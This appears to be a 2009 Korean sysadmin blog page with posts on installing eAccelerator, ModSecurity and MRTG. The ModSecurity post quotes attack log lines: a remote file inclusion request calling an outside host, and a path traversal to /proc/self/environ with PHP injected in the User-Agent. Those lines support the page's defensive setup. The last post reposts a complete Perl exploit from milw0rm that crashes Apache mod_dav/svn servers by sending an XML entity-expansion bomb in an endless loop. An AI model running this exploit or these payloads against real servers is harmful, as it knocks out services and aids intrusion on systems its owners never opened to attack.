PHP - eAccelerator 설치

from Linux 2009/06/26 12:17

웹페이지의 응답 속도를 빠르게 해주기 위해서 eAccelerator 모듈로 웹캐시를 사용하게 됐습니다.
머 개인 블로그라서.. 체감 속도는 못느끼지만 어느 정돈 성능 향상 있는 듯..?

아래 주소에서 다운로드 합니다.

http://sourceforge.net/projects/eaccelerator/files/
[root@ruo91 ~]# cd /usr/local/src
[root@ruo91 ~]# wget http://downloads.sourceforge.net/project/eaccelerator/eaccelerator/eAccelerator%200.9.6/eaccelerator-0.9.6.tar.bz2?use_mirror=cdnetworks-kr-1
[root@ruo91 ~]# tar xjvf eaccelerator-0.9.6.tar.bz2 && cd eaccelerator-0.9.6
[root@ruo91 ~]# /usr/local/php/bin/phpize
[root@ruo91 ~]# ./configure --enable-eaccelerator=shared --with-php-config=/usr/local/php/bin/php-config
[root@ruo91 ~]# make && make test && make install

설치가 완료 되면 캐싱된 파일이 저장될 디렉토리를 지정 해줘야 합니다.
[root@ruo91 ~]# mkdir /var/tmp/eaccelerator
[root@ruo91 ~]# chown www:www /var/tmp/eaccelerator
[root@ruo91 ~]# chmod 700 eaccelerator

php.ini 에 아래 내용을 추가합니다.
[root@ruo91 ~]# vi /usr/local/apache2/conf/php.ini

[eAccelerator]

extension_dir=/usr/local/php/lib/php/extensions/no-debug-non-zts-20060613
extension=eaccelerator.so
eaccelerator.shm_size="16"
eaccelerator.cache_dir="/var/tmp/eaccelerator"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.debug="0"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="1"
eaccelerator.compress_level="9"

추가한 내용을 적용하기 위해서 아파치를 재시작 합니다.

[root@ruo91 ~]# /usr/local/apache2/bin/apachectl restart

php 버전 정보를 이용하여 확인 합니다.
[root@yongbok ~]# /usr/local/php/bin/php -v
PHP 5.2.13 (cli) (built: May  4 2010 08:52:40)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
    with eAccelerator v0.9.6, Copyright (c) 2004-2010 eAccelerator, by eAccelerator
    with Zend Optimizer v3.3.9, Copyright (c) 1998-2009, by Zend Technologies
    with Suhosin v0.9.31, Copyright (c) 2007-2010, by SektionEins GmbH
2009/06/26 12:17 2009/06/26 12:17
아래 로그는 id4rom.txt 같은 문서가 있는 주소에 include 시켜서 서버의 정보 같은것을 보거나 공격을 합니다.

"GET /blog/tag//?pag=http://pokolake.land.ru/id4rom.txt?? HTTP/1.1" 200 42371 "-" "libwww-perl/5.806"

PHP Injection 공격방법으로 서버의 디렉토리를 이동하는 공격 패턴입니다.

"GET /blog/archive//calendar.php?s=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 58549 "-" "XXX<? echo \"w0000t\"; ?>XXX"

위 같은 로그내용이.. ㅠ _ㅠ 계속해서 기록되길래 ModSecurity 모듈로 방어 해보고자 설치를 했습니다.

1. mod_unique_id 컴파일
아파치에 mod_unique_id 모듈이 설치 되어 있어야 합니다.
아파치 소스 디렉토리에 가서 설치를 진행하며 아파치의 apxs 를 이용하여 mod_unique_id.c 를 컴파일 합니다.
(소스 디렉토리 : /root/src/httpd-2.2.11 | apache2 설치디렉토리 : /etc/apache2)
yongbok# cd /root/src/httpd-2.2.11/modules/metadata
yongbok# /etc/apache2/bin/apxs -cia mod_unique_id.c
컴파일이 끝나면 자동으로 모듈이 생성되며 httpd.conf 문서 모듈 라인에 자동으로 붙습니다.

2. libxml2 설치
패키지로 설치해도 되긴 한데 리눅스 배포판마다 디렉토리 경로가 다르므로 소스로 설치하여 수동으로 잡았습니다.
yongbok# wget -P /root/src ftp://yongbok.net/Linux/Source/libxml/libxml2-2.7.3.tar.gz
yongbok# cd /root/src && tar xzvf libxml2-2.7.3.tar.gz
yongbok# cd libxml2-2.7.3
yongbok# ./configure --prefix=/usr/local/libxml2
yongbok# make && make install

3. ModSecurity 설치
ModSecurity 모듈을 공식 홈페이지에서 다운로드 합니다. http://www.modsecurity.org/download/
yongbok# wget -P /root/src \
http://www.modsecurity.org/download/modsecurity-apache_2.5.9.tar.gz
yongbok# cd /root/src && tar xzvf modsecurity-apache_2.5.9.tar.gz
yongbok# cd modsecurity-apache_2.5.9/apache2
yongbok# ./configure \
--with-apxs=/etc/apache2/bin/apxs \
--with-httpd-src=/root/src/httpd-2.2.11 \
--with-libxml=/usr/local/libxml2
yongbok# make && make install
httpd.conf 에 아래 내용을 추가합니다.
yongbok# vi /etc/apache2/conf/httpd.conf
LoadModule security2_module modules/mod_security2.so

4. Rule 셋팅
ModSecurity 샘플 룰셋을 이용하거나 국가의 룰셋을 이용하는 방법이 있습니다.(후자 쪽이 쉽더라구염)

1) ModSecurity 샘플 룰셋 적용
yongbok# wget -P /root/src http://www.modsecurity.org/download/modsecurity-core-rules_2.5-1.6.1.tar.gz
yongbok# mkdir /etc/apache2/conf/modsecurity && cd /root/src
yongbok# mv modsecurity-core-rules_2.5-1.6.1.tar.gz /etc/apache2/conf/modsecurity
yongbok# cd /etc/apache2/conf/modsecurity && tar xzvf modsecurity-core-rules_2.5-1.6.1.tar.gz

httpd.conf 파일에 아래와 같이 아무곳에나 추가합니다.
yongbok# vi /etc/apache2/conf/httpd.conf
LoadFile /usr/local/libxml2/lib/libxml2.so
Include conf/modsecurity/*.conf

이후 적용을 위해 아파치 재시작
yongbok# /etc/apache2/bin/apachectl restart

**샘플 룰셋 기본 파일 정보
정상적인 http protocol 위반접속요구(request header)
modsecurity_crs_20_protocol_violations.conf
정상적인 http protocol 위반접속요구(request header)
modsecurity_crs_21_protocol_anomalies.conf
http 정책에 대한 룰
modsecurity_crs_30_http_policy.conf
User-Agent에 대한 룰 : 고급화된 공격차단보다는 스캐너등 차단목적
modsecurity_crs_35_bad_robots.conf
SQL injection / PHP injection / Command access 에 대한 룰
modsecurity_crs_40_generic_attacks.conf
trojan이나 백도어에 대한 접근 룰
modsecurity_crs_45_trojans.conf
에러등 특정 결과값을 통해 정보를 취득하려는 시도 차단
modsecurity_crs_50_outbound.conf

2) 국가에서 만든 룰셋 적용
Securenet 에서 지원하는 웹 호스팅용 룰셋을 사용합니다. http://www.securenet.or.kr/main.jsp?menuSeq=501
최신 버전 샘플 룰셋을 다운받아 아파치가 설치된 디렉토리에 업로드 합니다.
httpd.conf 파일에 아래와 같이 아무곳에나 추가해줍니다.
yongbok# vi /etc/apache2/conf/httpd.conf
LoadFile /usr/local/libxml2/lib/libxml2.so
#2009년 3월 11일 날짜 샘플 룰셋
Include conf/modsecurity/modsecurity_2x_hosting_090311.conf
이후 적용을 위해 아파치 재시작
yongbok# /etc/apache2/bin/apachectl restart
사용하고 있는 아파치 웹서버의 헤더 정보를 변경 할수도 있는데 샘플에 따라 헤더 정보가 다르니..
공 식 샘플 경우는 Apache/2.2.0 (Fedora) 로 설정 되어 있고 국가 샘플의 경우는 Microsoft-IIS/5.0 로 설정이 되어 있습니다. 이 헤더 정보를 변경 하기 위해선 아래와 같이 사용자가 원하는 대로 변경하시면 됩니다.
공식 샘플의 경우 modsecurity_crs_10_config.conf 파일의 113번째 줄을 수정
yongbok# vi modsecurity_crs_10_config.conf
SecServerSignature "Apache/2.2.0 (Fedora)"
변경전 : SecServerSignature "Apache/2.2.0 (Fedora)"
변경후 : SecServerSignature "Microsoft-IIS/9.0"

국가 샘플의 경우 modsecurity_2x_hosting_090311.conf 파일의 56번째 줄을 수정
yongbok# vi modsecurity_2x_hosting_090311.conf
SecServerSignature "Microsoft-IIS/5.0"
변경전 : SecServerSignature "Microsoft-IIS/5.0"
변경후 : SecServerSignature "Microsoft-IIS/9.0"
귀찮으신 분들은 그냥 Ctrl + F 로 SecServerSignature 만 찾아서 위에 처럼 수정을 하시면 됩니다.
2009/06/15 13:22 2009/06/15 13:22

FreeBSD - MRTG 설치

from FreeBSD 2009/06/09 13:18
집에서 서버를 돌리고 있는 웹서버의 트래픽과 NAT 으로 물린 내부 네트워크의 트래픽 상황을 알아보기 위해 MRTG 를 설치 하였다. 설치 방법은 FreeBSD 의 포트로 설치를 진행한다.

1. snmpd 설치
yongbok# cd /usr/ports/net-mgmt/net-snmp && make install clean
설치가 완료 되면 snmpd.conf 파일을 생성하여 아래와 같이 사용자 환경에 맞게 셋팅을 해주면 된다.
yongbok# vi /usr/local/share/snmp/snmpd.conf
# sec.name | source | community
com2sec local localhost private
# MyROFroup 는 읽기만 가능 하고 MyRWGroup 으로 설정하면 쓰기도 가능해진다.
# 쓰기권한까지 설정할때는 신중하게 생각해서 해야한다.
# group 이것을 안써주면 cfgmaker 로 cfg 파일 생성시 에러를 발생하게 된다. 나름 트러블 슈팅
group MyROGroup v1 local
group MyROGroup v2c local
group MyROGroup usm local
# snmp클라이트에서 모든 값을 접근 할 수 있다.
view    all     included        .1
# context | sec.model | sec.level | match | read | write | notif
access MyROGroup        ""      any       noauth    exact   all     all     none
# snmp 서버의 정보를 입력해준다.
syslocation MyHome
syscontact Yongbok <ruo91@naver.com>

사용자 환경에 맞게 수정을 하고 저장을 하였다면 snmpd.conf 파일에 600 권한을 준다.
yongbok# chmod 600 /usr/local/share/snmp/snmpd.conf

snmpd 를 실행하기 위해서는 /etc/rc.conf 파일에 아래와 같이 추가 후 시작한다.
yongbok# vi /etc/rc.conf
snmpd_enable="YES"
yongbok# /usr/local/etc/rc.d/snmpd start
Starting snmpd.

2. MRTG 설치
yongbok# cd /usr/ports/net-mgmt/mrtg && make install clean
쭈루룩~ 컴파일이 되고 설치가 완료 되면 아래와 같이 cfgmaker 로 설정 파일을 생성한다.
yongbok# cfgmaker private@localhost > /usr/local/etc/mrtg/ruo91.cfg

/usr/local/etc/mrtg 디렉토리에 ruo91.cfg 라는 설정 파일이 생성 된다.
ruo91.cfg 파일을 사용자 환경에 맞게 수정을 한다.

yongbok# vi /usr/local/etc/mrtg/ruo91.cfg
# Created by
# /usr/local/bin/cfgmaker private@localhost

### Global Config Options
#  for UNIX
WorkDir: /home/www/traffic
Language: korean
RunAsDaemon: yes
EnableIPv6: no
######################################################################
# System: yongbok.net
# Description: FreeBSD yongbok.net 7.2-STABLE FreeBSD 7.2-STABLE
# 0: Thu May  7 15:02:46 KST 2009     root@yongbok.net:/usr/obj/usr/src/sys/Yongbok i386
# Contact: YongBok <ruo91@naver.com>
# Location: Home Server
######################################################################
### Interface 1 >> Descr: 'stge0' | Name: 'stge0' | Ip: '115.137.195.157' | Eth: '30-78-30-30-31-38-66-33-63-38-66-39-31-34' ###
Target[localhost_1]: 1:private@localhost:
SetEnv[localhost_1]: MRTG_INT_IP="115.137.195.157" MRTG_INT_DESCR="stge0"
MaxBytes[localhost_1]: 125000000
Title[localhost_1]: Traffic Analysis for 1 -- yongbok.net
PageTop[localhost_1]: <h1>Traffic Analysis for 1 -- yongbok.net</h1>
  <div id="sysdetails">
   <table>
    <tr>
     <td>System:</td>
     <td>yongbok.net in Home Server</td>
    </tr>
    <tr>
     <td>Maintainer:</td>
     <td>YongBok &lt;ruo91@naver.com&gt;</td>
    </tr>
    <tr>
     <td>Description:</td>
     <td>stge0  </td>
    </tr>
    <tr>
     <td>ifType:</td>
     <td>ethernetCsmacd (6)</td>
    </tr>
    <tr>
     <td>ifName:</td>
     <td>stge0</td>
    </tr>
    <tr>
     <td>Max Speed:</td>
     <td>125.0 MBytes/s</td>
    </tr>
    <tr>
     <td>Ip:</td>
     <td>115.137.195.157 (ns.yongbok.net)</td>
    </tr>
   </table>
  </div>
WorkDir: /home/www/traffic 는 mrtg 그래프를 보여줄 파일들의 디렉토리를 지정해준다.
Language: korean 은 한국어로 보여준다.
RunAsDaemon: yes 는 Perl 데몬이 주기적으로 5분씩 실행을 한다.
또한 아래 more 버튼을 눌러 보면 옵션이 있는데 CPU, Memory 등의 사용률을 볼수 있다. 그리고 옵션에서 Target[cpu], MaxBytes[cpu] 같이 [] 대괄호 안에 들어가는 문자열은 mrtg 실행시 cpu.html 처럼 html 파일 이름으로 생성이 된다.

more..



cfg 파일을 셋팅을 후 mrtg를 실행해본다.
yongbok# vi /etc/rc.conf
snmpd_enable="YES"
mrtg_enable="YES"
yongbok# mrtg /usr/local/etc/mrtg/ruo91.cfg

html 파일을 생성하며 그래프에 기록을 한다. 이렇게 만들어진 html 파일을 indexmaker 도구를 사용하여 index.html 으로 보기 쉽게 만들어 본다.
yongbok# indexmaker /usr/local/etc/mrtg/ruo91.cfg \
--output=/home/www/traffic/index.html --title="Yongbok Traffic"
생성 된 index.html 을 웹상에서 확인해본다.
사용자 삽입 이미지

2009/06/09 13:18 2009/06/09 13:18
Apache mod_dav / svn Remote Denial of Service Exploit
### furoffyourcat.pl
### Apache mod_dav / svn Remote Denial of Service Exploit
### by kcope / June 2009
###
### Will exhaust all system memory
### Needs Authentication on normal DAV
###
### This can be especially serious stuff when used against
### svn (subversion) servers!! Svn might let the PROPFIND slip through
### without authentication. bwhahaaha :o)
### use at your own risk!
##################################################################

use IO::Socket;
use MIME::Base64;

sub usage {
print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
print "by kcope in 2009\n";
print "usage: perl furoffyourcat.pl <remotehost> <webdav folder> [username] [password]\n";
print "example: perl furoffyourcat.pl svn.XXX.com /projects/\n";exit;
}

if ($#ARGV < 1) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];

$username = $ARGV[2];
$password = $ARGV[3];

$|=1;

$BasicAuth = encode_base64("$username:$password");
chomp $BasicAuth;

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => 80,
Proto => 'tcp');
print $sock "PROPFIND $webdavfile HTTP/1.1\r\n";
print $sock "Host: $hostname\r\n";
print $sock "Depth: 0\r\n";
print $sock "Connection: close\r\n";
if ($username ne "") {
print $sock "Authorization: Basic $BasicAuth\r\n";
}
print $sock "\r\n";
$x = <$sock>;

print $x;
if (!($x =~ /207/)) {
while(<$sock>) {
print;
}
close($sock);
print "No PROPFIND on this server and path.\n";
exit(0);
}

$a = "";
for ($i=1;$i<256;$i++) { # Here you can increase the XML bomb count
$k = $i-1;
$a .= "<!ENTITY x$i \"&x$k;&x$k;\">\n"
}

$igzml =
"<?xml version=\"1.0\"?>\n"
."<!DOCTYPE REMOTE [\n"
."<!ELEMENT REMOTE ANY>\n"
."<!ENTITY x0 \"foobar\">\n"
.$a
."]>\n"
."<REMOTE>\n"
."&x$k;\n"
."</REMOTE>\n";

print "Apache mod_dav / svn Remote Denial of Service Exploit\n";
print "by kcope in 2009\n";
print "Launching DoS Attack...\n";

$ExploitRequest =
"PROPFIND $webdavfile HTTP/1.1\r\n"
."Host: $hostname\r\n"
."Depth: 0\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($igzml)."\r\n\r\n" . $igzml;

while(1) {
again:
my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => 80,
Proto => 'tcp') || (goto again);

print $sock $ExploitRequest;
print ";Pp";
}

# milw0rm.com [2009-06-01]
2009/06/02 08:52 2009/06/02 08:52